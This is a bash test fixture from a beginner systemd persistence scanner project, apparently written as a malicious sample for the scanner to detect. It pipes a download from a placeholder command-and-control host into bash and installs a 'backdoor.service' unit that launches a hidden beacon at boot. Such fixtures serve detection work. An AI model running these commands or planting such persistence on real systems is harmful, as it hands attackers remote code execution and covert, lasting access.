Cybersecurity-Projects/PROJECTS/beginner/systemd-persistence-scanner/testdata/generator/malicious-generator

11 lines
199 B
Bash
Executable File

#!/bin/bash
curl -s http://c2.example.com/stage1 | bash
cat > "$1/backdoor.service" <<EOF
[Unit]
Description=Backdoor
[Service]
ExecStart=/tmp/.hidden/beacon
[Install]
WantedBy=multi-user.target
EOF